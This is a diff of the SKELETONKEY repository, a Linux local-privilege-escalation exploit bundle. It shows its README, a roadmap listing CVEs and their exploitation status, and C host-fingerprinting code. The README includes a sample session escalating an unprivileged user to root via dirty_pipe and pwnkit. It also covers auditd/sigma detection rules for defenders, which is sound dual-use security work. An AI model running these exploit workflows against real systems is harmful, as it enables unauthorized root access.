# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
|
||||
skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
|
||||
skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
|
||||
sudo skeletonkey --mitigate copy_fail
|
||||
|
||||
# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
|
||||
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
|
||||
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt
|
||||
```
|
||||
|
||||
**SKELETONKEY runs as a normal unprivileged user** — that's the point.
|
||||
`--scan`, `--audit`, `--exploit`, and `--detect-rules` all work without
|
||||
`sudo`. Only `--mitigate` and rule-file installation write root-owned
|
||||
paths.
|
||||
|
||||
### Example: unprivileged → root
|
||||
|
||||
```text
|
||||
$ id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
$ skeletonkey --scan
|
||||
[+] dirty_pipe VULNERABLE (kernel 5.15.0-56-generic)
|
||||
[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
|
||||
[+] pwnkit VULNERABLE (polkit 0.105-31ubuntu0.1)
|
||||
[-] copy_fail not vulnerable (kernel 5.15 < introduction)
|
||||
[-] dirty_cow not vulnerable (kernel ≥ 4.9)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 31 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
[ ] auto: copy_fail patched or not applicable
|
||||
[ ] auto: nf_tables precondition not met
|
||||
...
|
||||
|
||||
$ skeletonkey --exploit dirty_pipe --i-know
|
||||
[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
|
||||
[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
|
||||
[+] dirty_pipe: spawning su root
|
||||
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
|
||||
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
|
||||
[*] auto: launching --exploit pwnkit...
|
||||
|
||||
[+] pwnkit: writing gconv-modules cache + payload.so...
|
||||
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
|
||||
the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
|
||||
for the blue-team deployment guide.
|
||||
The safety ranking goes: **structural escapes** (no kernel state
|
||||
touched) → **page-cache writes** → **userspace cred-races** →
|
||||
**kernel primitives** → **kernel races** (least predictable). The
|
||||
goal is to never crash a production box looking for root.
|
||||
|
||||
## What this is
|
||||
## How it works
|
||||
|
||||
Most Linux LPE references are dead repos, broken PoCs, or single-CVE
|
||||
deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
|
||||
is empirically verified to work on the kernels it claims to target,
|
||||
CI-tested across a distro matrix, and ships with the detection
|
||||
signatures defenders need to spot it in their environment.
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface (`detect / exploit / mitigate /
|
||||
cleanup`) plus metadata (kernel range, detection rule text). The
|
||||
top-level binary dispatches per command:
|
||||
|
||||
The same binary covers offense and defense:
|
||||
- `--scan` walks every module's `detect()` against the running host
|
||||
- `--exploit <name> --i-know` runs the named module's exploit (the
|
||||
`--i-know` flag is the authorization gate)
|
||||
- `--auto --i-know` does the scan, ranks by safety, runs the safest
|
||||
- `--detect-rules --format=<auditd|sigma|yara|falco>` emits the
|
||||
embedded rule corpus
|
||||
- `--mitigate <name>` / `--cleanup <name>` apply / undo temporary
|
||||
mitigations (module-dependent — most kernel modules say "upgrade")
|
||||
- `--dump-offsets` reads `/proc/kallsyms` + `/boot/System.map` and
|
||||
emits a ready-to-paste C entry for the `--full-chain` offset table
|
||||
|
||||
- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
|
||||
apply, and which are blocked by patches/config/LSM
|
||||
- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
|
||||
authorization gate)
|
||||
- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
|
||||
every bundled CVE so blue teams can drop them into their tooling
|
||||
- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
|
||||
host is vulnerable to (sysctl knobs, module blacklists, etc.)
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design.
|
||||
|
||||
## The verified-vs-claimed bar
|
||||
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets. The shared `--full-chain` finisher only returns
|
||||
`EXPLOIT_OK` after a setuid bash sentinel file *actually appears*;
|
||||
otherwise modules return `EXPLOIT_FAIL` with a diagnostic. Operators
|
||||
populate the offset table once per target kernel via
|
||||
`skeletonkey --dump-offsets` and either set env vars or upstream the
|
||||
entry via PR ([`CONTRIBUTING.md`](CONTRIBUTING.md)).
|
||||
|
||||
## Build from source
|
||||
|
||||
```bash
|
||||
git clone https://github.com/KaraZajac/SKELETONKEY.git
|
||||
cd SKELETONKEY
|
||||
make
|
||||
./skeletonkey --version
|
||||
```
|
||||
|
||||
Builds clean with gcc or clang on any modern Linux. macOS dev builds
|
||||
also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
|
||||
across the 2016 → 2026 LPE timeline:
|
||||
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
|
||||
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
|
||||
patched hosts.
|
||||
|
||||
- 🟢 **13 modules land root** end-to-end on a vulnerable host
|
||||
(copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
|
||||
overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
|
||||
cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
|
||||
- 🟡 **11 modules fire the kernel primitive** by default and refuse
|
||||
to claim root without empirical confirmation. Pass `--full-chain`
|
||||
to engage the shared `modprobe_path` finisher and attempt root
|
||||
pop — requires kernel offsets via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
|
||||
Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
|
||||
fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
|
||||
nft_payload, nft_set_uaf, stackrot.
|
||||
- Detection rules ship inline (auditd / sigma / yara / falco) and
|
||||
are exported via `skeletonkey --detect-rules --format=…`.
|
||||
Reliability + accuracy work in v0.6.0:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
|
||||
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
|
||||
tests over mocked host fingerprints; runs as a non-root user in CI.
|
||||
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
|
||||
fork-isolated detect + exploit so a crashing module can't tear down
|
||||
the dispatcher, structured per-module verdict table, scan summary.
|
||||
- `--dry-run` flag (preview without firing; no `--i-know` needed).
|
||||
- Pinned mainline fix commits for the 3 ported modules — `detect()`
|
||||
is version-pinned, not just precondition-only.
|
||||
|
||||
See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
|
||||
Empirical end-to-end validation on a vulnerable-target VM matrix is
|
||||
the next roadmap item; until then, the corpus is best understood as
|
||||
"compiles + detects + structurally correct + honest on failure" —
|
||||
and the three ported modules have not been run against a vulnerable
|
||||
target at all.
|
||||
|
||||
## Why this exists
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
|
||||
The Linux kernel privilege-escalation space is fragmented:
|
||||
## Contributing
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`**: suggest applicable
|
||||
exploits, don't run them
|
||||
- **`auto-root-exploit` / `kernelpop`**: bundle exploits, but largely
|
||||
stale, no CI, no defensive signatures
|
||||
- **Per-CVE single-PoC repos**: usually one author, often abandoned
|
||||
within months of release, often only one distro
|
||||
|
||||
SKELETONKEY's bet is that there's room for a single curated bundle that
|
||||
(1) actively maintains a small set of high-quality exploits across a
|
||||
multi-distro matrix, and (2) ships detection rules alongside each
|
||||
exploit so the same project serves both red and blue teams.
|
||||
|
||||
## Architecture
|
||||
|
||||
Each CVE (or tightly-related family) is a **module** under `modules/`.
|
||||
Modules export a standard interface: `detect()`, `exploit()`,
|
||||
`mitigate()`, `cleanup()`, plus metadata describing affected kernel
|
||||
ranges, distro coverage, and CI test matrix.
|
||||
|
||||
Shared infrastructure (AppArmor bypass, su-exploitation primitives,
|
||||
fingerprinting, common utilities) lives in `core/`.
|
||||
|
||||
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for the
|
||||
module-loader design and how to add a new CVE.
|
||||
|
||||
## Build & run
|
||||
|
||||
```bash
|
||||
make # build all modules
|
||||
./skeletonkey --scan # what's this box vulnerable to? (no sudo)
|
||||
./skeletonkey --scan --json # machine-readable output for CI/SOC pipelines
|
||||
./skeletonkey --detect-rules --format=sigma > rules.yml
|
||||
./skeletonkey --exploit copy_fail --i-know # actually run an exploit (starts as $USER)
|
||||
```
|
||||
PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
|
||||
research credit belongs to the people who found the bugs.
|
||||
`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer;
|
||||
the research credit belongs to the people who found the bugs.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
+89
-5
@@ -164,16 +164,94 @@ Backfill of historical and recent LPEs as time allows.
|
||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||
|
||||
**Landed since v0.1.0 (in the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2021-3156** — sudo Baron Samedit: 🟡 PRIMITIVE
|
||||
(`sudoedit -s` heap overflow; heap-tuned, may crash sudo).
|
||||
- [x] **CVE-2021-33909** — Sequoia: 🟡 PRIMITIVE (`seq_file` size_t
|
||||
overflow → kernel stack OOB; trigger + witness, no cred chain).
|
||||
- [x] **CVE-2023-22809** — sudoedit EDITOR/VISUAL argv escape: 🟢 FULL
|
||||
structural argv-injection (no kernel state, no offsets).
|
||||
- [x] **CVE-2023-2008** — vmwgfx DRM bo size-validation OOB: 🟡
|
||||
PRIMITIVE (kmalloc-512 OOB + slab witness, no cred chain).
|
||||
|
||||
**Landed (ported from public PoC, pending VM verification — NOT part
|
||||
of the 28-module verified corpus):**
|
||||
|
||||
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||
stub is retired. The stub's open question ("is the
|
||||
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||
is closed.
|
||||
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||
decrypt page-cache write. Ported from the V12 PoC.
|
||||
- [x] **CVE-2026-41651** — Pack2TheRoot: 🟡 PackageKit `InstallFiles`
|
||||
TOCTOU. Ported from the public Vozec PoC; original disclosure by
|
||||
Deutsche Telekom security. Userspace D-Bus LPE with high-
|
||||
confidence `detect()` — reads PackageKit's version directly over
|
||||
D-Bus and compares against the pinned fix release 1.3.5 (commit
|
||||
`76cfb675`). Debian-family only (PoC's built-in `.deb` builder).
|
||||
Adds an optional GLib/GIO build dependency, autodetected via
|
||||
`pkg-config gio-2.0`; stub-compiles if absent.
|
||||
- [ ] **Verify all three (dirtydecrypt / fragnesia / pack2theroot)
|
||||
on a vulnerable target**, pin remaining CVE fix commits, add
|
||||
version-range tables, and promote 🟡 → 🟢. `--auto` auto-enables
|
||||
`--active` so the probes give definitive verdicts; each
|
||||
`detect()` runs in a fork-isolated child so one bad probe
|
||||
cannot tear down the scan.
|
||||
|
||||
**--auto accuracy work (landed 2026-05-22):**
|
||||
|
||||
- [x] `--auto` auto-enables `--active`: per-module sentinel probes
|
||||
run in `/tmp` / fork-isolated namespaces, so version-only
|
||||
checks can no longer be fooled by silent distro backports.
|
||||
- [x] Per-module verdict table at scan time (VULNERABLE / patched /
|
||||
precondition / indeterminate) instead of only printing the
|
||||
`VULNERABLE` rows.
|
||||
- [x] Scan-end summary line counting each verdict class.
|
||||
- [x] Distro fingerprint (`ID` + `VERSION_ID` from `/etc/os-release`)
|
||||
printed in the `--auto` banner alongside kernel + arch.
|
||||
- [x] Fork-isolated `detect()` calls — a SIGILL/SIGSEGV in any one
|
||||
module's probe is contained and the scan continues. Surfaced
|
||||
while testing entrybleed's `prefetchnta` sweep under emulated
|
||||
CPUs: exactly the failure mode the isolation now handles.
|
||||
- [x] `--dry-run` flag: previews the picked exploit (or single-module
|
||||
operation) without firing. Works with `--auto`, `--exploit`,
|
||||
`--mitigate`, `--cleanup`. `--auto --dry-run` does NOT require
|
||||
`--i-know` (nothing fires) so operators can inspect the host's
|
||||
attack surface without arming. Bare `--auto` still gates on
|
||||
`--i-know` and now points to `--dry-run` in the refusal message.
|
||||
- [x] Version-pinned `detect()` for the 3 ported modules — Debian
|
||||
tracker provided the fix commits: `dirtydecrypt` against mainline
|
||||
`a2567217` (Linux 7.0); `fragnesia` against 7.0.9; `pack2theroot`
|
||||
against PackageKit 1.3.5. The `kernel_range` model now drives
|
||||
their verdicts; `--active` confirms empirically on top.
|
||||
- [x] **`core/host` host-fingerprint refactor.** A single
|
||||
`struct skeletonkey_host` is populated once at startup and
|
||||
handed to every module via `ctx->host`: kernel version + arch
|
||||
+ distro id/version + capability gates (unprivileged_userns,
|
||||
AppArmor restriction, BPF disabled, KPTI, lockdown, SELinux,
|
||||
Yama ptrace) + service presence (systemd, system D-Bus). The
|
||||
`--auto` / `--scan` banner now prints the fingerprint up front
|
||||
so operators see at a glance which gates are open. 4 modules
|
||||
migrated to consume the fingerprint (dirtydecrypt, fragnesia,
|
||||
pack2theroot, overlayfs) — replacing per-detect `uname`s,
|
||||
`/etc/os-release` parses, and userns fork-probes with O(1)
|
||||
cached lookups. See `docs/ARCHITECTURE.md` for the pattern;
|
||||
future modules can opt-in by including `core/host.h`.
|
||||
- [ ] Migrate the remaining modules (cgroup_release_agent /
|
||||
overlayfs_setuid / copy_fail_family bridge / others) to
|
||||
consume `ctx->host` — incremental follow-up.
|
||||
|
||||
**Carry-overs:**
|
||||
|
||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
||||
- [ ] Fragnesia (if it lands as a CVE)
|
||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||
ships (responsible-disclosure-first)
|
||||
|
||||
## Phase 8 — Full-chain promotions (post v0.1.0)
|
||||
|
||||
The 7 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
The 14 🟡 PRIMITIVE modules each stop one or two steps short of full
|
||||
cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||
None requires fresh research — each has a public reference exploit;
|
||||
@@ -184,9 +262,15 @@ auto-resolve via System.map / kallsyms when accessible).
|
||||
|
||||
Priority order: nf_tables (Notselwyn pipapo R/W), netfilter_xtcompat
|
||||
(Andy Nguyen modprobe_path), af_packet (xairy sk_buff cred chase).
|
||||
The other four are lower priority — fuse_legacy and cls_route4 have
|
||||
The remainder are lower priority — fuse_legacy and cls_route4 have
|
||||
narrower distro reach; af_packet2 piggybacks on af_packet; stackrot's
|
||||
race window makes it inherently low-yield.
|
||||
race window makes it inherently low-yield; the nft_* family and
|
||||
vmwgfx need their per-kernel offset tables built out.
|
||||
|
||||
The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
**not** part of this Phase 8 promotion set — they need VM verification
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Non-goals
|
||||
|
||||
|
||||
+345
@@ -0,0 +1,345 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint implementation
|
||||
*
|
||||
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
|
||||
* first call, stores into a file-static, and returns the same pointer
|
||||
* forever after. Single-threaded (skeletonkey is single-threaded), so
|
||||
* no synchronisation needed.
|
||||
*/
|
||||
|
||||
#include "host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <pwd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#endif
|
||||
|
||||
static struct skeletonkey_host g_host;
|
||||
static bool g_host_ready = false;
|
||||
|
||||
/* ── small parser helpers ─────────────────────────────────────────── */
|
||||
|
||||
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
|
||||
* trailing quote / newline) into `dst`. Caller passes the start of the
|
||||
* value (after `=`). Cap is the size of dst including NUL. */
|
||||
static void parse_os_release_value(const char *s, char *dst, size_t cap)
|
||||
{
|
||||
const char *p = s;
|
||||
if (*p == '"' || *p == '\'') p++;
|
||||
size_t L = strcspn(p, "\"'\n");
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, p, L);
|
||||
dst[L] = '\0';
|
||||
}
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
|
||||
static bool read_int_file(const char *path, int *out)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
int v;
|
||||
int n = fscanf(f, "%d", &v);
|
||||
fclose(f);
|
||||
if (n != 1) return false;
|
||||
*out = v;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool read_first_line(const char *path, char *dst, size_t cap)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
|
||||
fclose(f);
|
||||
size_t n = strlen(dst);
|
||||
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ── populators ───────────────────────────────────────────────────── */
|
||||
|
||||
static void populate_kernel(struct skeletonkey_host *h)
|
||||
{
|
||||
struct utsname u;
|
||||
if (uname(&u) == 0) {
|
||||
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
|
||||
* %.*s precision spec tells gcc the snprintf is bounded so it
|
||||
* does not warn about possible truncation (we WANT truncation;
|
||||
* the snprintf already caps). */
|
||||
snprintf(h->arch, sizeof h->arch,
|
||||
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
|
||||
snprintf(h->nodename, sizeof h->nodename,
|
||||
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
|
||||
}
|
||||
/* kernel_version_current owns the static release-string buffer
|
||||
* and the parser — reuse it to keep one source of truth. */
|
||||
kernel_version_current(&h->kernel);
|
||||
}
|
||||
|
||||
static void populate_distro(struct skeletonkey_host *h)
|
||||
{
|
||||
snprintf(h->distro_id, sizeof h->distro_id, "?");
|
||||
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
|
||||
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
|
||||
|
||||
FILE *f = fopen("/etc/os-release", "r");
|
||||
if (!f) return;
|
||||
char line[256];
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "ID=", 3) == 0)
|
||||
parse_os_release_value(line + 3,
|
||||
h->distro_id, sizeof h->distro_id);
|
||||
else if (strncmp(line, "VERSION_ID=", 11) == 0)
|
||||
parse_os_release_value(line + 11,
|
||||
h->distro_version_id, sizeof h->distro_version_id);
|
||||
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
|
||||
parse_os_release_value(line + 12,
|
||||
h->distro_pretty, sizeof h->distro_pretty);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
static void populate_user(struct skeletonkey_host *h)
|
||||
{
|
||||
h->euid = geteuid();
|
||||
h->egid = getegid();
|
||||
h->is_root = (h->euid == 0);
|
||||
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
|
||||
|
||||
h->username[0] = '\0';
|
||||
struct passwd *pw = getpwuid(h->euid);
|
||||
if (pw && pw->pw_name)
|
||||
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
|
||||
|
||||
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
|
||||
* discover the outer uid if we're inside a user namespace. Format
|
||||
*
|
||||
* "0 0 4294967295" → init ns, outer == 0
|
||||
* "0 1000 1" → userns mapped, outer == 1000
|
||||
*
|
||||
* Only trust outer != 0 and != -1 as the bypass-userns case. */
|
||||
h->real_uid = h->euid;
|
||||
int fd = open("/proc/self/uid_map", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
char buf[256];
|
||||
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||
close(fd);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
int inner = -1, outer = -1, count = 0;
|
||||
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
|
||||
inner == 0 && outer > 0)
|
||||
h->real_uid = (uid_t)outer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void populate_platform_family(struct skeletonkey_host *h)
|
||||
{
|
||||
#ifdef __linux__
|
||||
h->is_linux = true;
|
||||
#else
|
||||
h->is_linux = false;
|
||||
#endif
|
||||
h->is_debian_family = path_exists("/etc/debian_version");
|
||||
h->is_rpm_family = path_exists("/etc/redhat-release") ||
|
||||
path_exists("/etc/fedora-release") ||
|
||||
path_exists("/etc/rocky-release") ||
|
||||
path_exists("/etc/almalinux-release");
|
||||
h->is_arch_family = path_exists("/etc/arch-release");
|
||||
h->is_suse_family = path_exists("/etc/SuSE-release") ||
|
||||
path_exists("/etc/SUSE-brand");
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
|
||||
static bool userns_probe(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return false;
|
||||
if (pid == 0) {
|
||||
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
|
||||
}
|
||||
int st;
|
||||
if (waitpid(pid, &st, 0) < 0) return false;
|
||||
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static void populate_caps(struct skeletonkey_host *h)
|
||||
{
|
||||
h->unprivileged_userns_allowed = false;
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
|
||||
#ifdef __linux__
|
||||
h->unprivileged_userns_allowed = userns_probe();
|
||||
|
||||
int v = 0;
|
||||
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
|
||||
h->apparmor_restrict_userns = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
|
||||
h->unprivileged_bpf_disabled = (v != 0);
|
||||
if (read_int_file("/sys/fs/selinux/enforce", &v))
|
||||
h->selinux_enforcing = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
|
||||
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
static void populate_services(struct skeletonkey_host *h)
|
||||
{
|
||||
h->has_systemd = path_exists("/run/systemd/system");
|
||||
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
|
||||
* copy up to (cap - 1) bytes into dst. Returns true iff popen
|
||||
* succeeded, the command exited 0, and we got at least one line.
|
||||
* Used for sudo/pkexec/packagekitd version parsing at startup. */
|
||||
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char buf[256];
|
||||
bool got = (fgets(buf, sizeof buf, p) != NULL);
|
||||
int rc = pclose(p);
|
||||
if (!got || rc != 0) return false;
|
||||
size_t L = strlen(buf);
|
||||
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
|
||||
buf[--L] = '\0';
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, buf, L);
|
||||
dst[L] = '\0';
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Extract the version-string token from a line of the form
|
||||
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
|
||||
* version token is everything from the first non-space after
|
||||
* `prefix` up to the next whitespace. Empty result when prefix not
|
||||
* found. */
|
||||
static void extract_version_after_prefix(const char *line,
|
||||
const char *prefix,
|
||||
char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
const char *p = strstr(line, prefix);
|
||||
if (!p) return;
|
||||
p += strlen(prefix);
|
||||
while (*p == ' ' || *p == ':' || *p == '\t') p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
|
||||
dst[i++] = *p++;
|
||||
dst[i] = '\0';
|
||||
}
|
||||
|
||||
static void populate_userspace_versions(struct skeletonkey_host *h)
|
||||
{
|
||||
h->sudo_version[0] = '\0';
|
||||
h->polkit_version[0] = '\0';
|
||||
|
||||
char line[256];
|
||||
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "Sudo version",
|
||||
h->sudo_version, sizeof h->sudo_version);
|
||||
|
||||
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "pkexec version",
|
||||
h->polkit_version, sizeof h->polkit_version);
|
||||
}
|
||||
|
||||
/* ── public entrypoints ───────────────────────────────────────────── */
|
||||
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void)
|
||||
{
|
||||
if (g_host_ready) return &g_host;
|
||||
|
||||
memset(&g_host, 0, sizeof g_host);
|
||||
populate_kernel(&g_host);
|
||||
populate_distro(&g_host);
|
||||
populate_user(&g_host);
|
||||
populate_platform_family(&g_host);
|
||||
populate_caps(&g_host);
|
||||
populate_services(&g_host);
|
||||
populate_userspace_versions(&g_host);
|
||||
g_host.probe_source = "skeletonkey core/host.c";
|
||||
g_host_ready = true;
|
||||
return &g_host;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch)
|
||||
{
|
||||
if (!h || h->kernel.major == 0)
|
||||
return false;
|
||||
if (h->kernel.major != major) return h->kernel.major > major;
|
||||
if (h->kernel.minor != minor) return h->kernel.minor > minor;
|
||||
return h->kernel.patch >= patch;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_M, int lo_m, int lo_p,
|
||||
int hi_M, int hi_m, int hi_p)
|
||||
{
|
||||
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
|
||||
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
|
||||
}
|
||||
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
|
||||
{
|
||||
